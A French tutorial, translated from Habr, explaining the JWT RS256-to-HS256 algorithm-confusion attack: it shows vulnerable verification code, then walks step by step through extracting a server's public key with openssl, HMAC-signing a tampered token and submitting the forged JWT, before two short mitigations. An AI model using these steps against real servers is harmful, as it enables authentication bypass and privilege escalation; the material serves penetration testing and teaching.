Pirater le jeton JWT


À des fins éducatives seulement! Destiné aux testeurs de pénétration Hackers .

Problème


L'algorithme HS256 utilise la clé secrète pour signer et vérifier chaque message. L'algorithme RS256 utilise la clé privée pour signer le message et utilise la clé publique pour l'authentification.

Si vous changez l'algorithme de RS256 en HS256, le code principal utilise la clé publique comme clé secrète, puis utilise l'algorithme HS256 pour vérifier la signature. Algorithme de chiffrement asymétrique => Algorithme de chiffrement symétrique.

Étant donné que la clé publique peut parfois être obtenue par l'attaquant, l'attaquant peut modifier l'algorithme de l'en-tête en HS256, puis utiliser la clé publique RSA pour signer les données.
Le code backend utilise la clé publique RSA + l'algorithme HS256 pour la vérification de la signature.

Exemple


Une vulnérabilité apparaît lorsque la validation côté client ressemble à ceci:

const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms ) 

Supposons que nous ayons un jeton initial comme présenté ci-dessous et "=>" expliquera les modifications que l'attaquant peut apporter:

 //header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' } 

Le code principal utilise la clé publique comme clé secrète, puis utilise l'algorithme HS256 pour vérifier la signature.

Attaque


1. Capturez le trafic et le jeton JWT valide (exemple de groupe NCC)

 eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg 

2. Décoder le jeton avec Burp Decoder

La structure est header.payload.signature avec chaque composant encodé en base64 en utilisant le schéma URL-safe et tout remplissage supprimé.

 {"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}} 

3. Modifiez l' alg d'en- tête en HS256

 {"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}} 

4. Reconvertissez au format JWT

 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0 

En-tête et charge utile prêts à l'emploi :)

5. Copiez le certificat du serveur et extrayez la clé publique

Il ne manque que la signature et pour calculer que nous avons besoin de la clé publique que le serveur utilise. Il se pourrait que ce soit disponible gratuitement.

 openssl s_client -connect <hostname>:443 

Copiez la sortie «Certificat de serveur» dans un fichier (par exemple cert.pem) et extrayez la clé publique (dans un fichier appelé key.pem) en exécutant:

 openssl x509 -in cert.pem -pubkey –noout > key.pem 

Transformons-le en hex ASCII:

 cat key.pem | xxd -p | tr -d "\\n" 

En fournissant la clé publique en hexadécimal ASCII à notre opération de signature, nous pouvons voir et contrôler complètement les octets

 echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey: 

La sortie - c'est-à-dire la signature HMAC - est:

 db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f 

Une ligne pour transformer cette signature hexadécimale ASCII au format JWT est:

 python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")" 

La sortie est notre signature:

 2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8 

Ajoutez-le simplement à notre jeton modifié:

 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8 

6. Soumettez le jeton modifié au serveur.

Résolution


1. Utilisez un seul algorithme de cryptage (si possible)



2. Créez différentes fonctions pour vérifier différents algorithmes



Les références


1. medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6
2. www.youtube.com/watch?v=rCkDE2me_qk (24:53)
3.auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries
4.www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through

Source: https://habr.com/ru/post/fr450054/


All Articles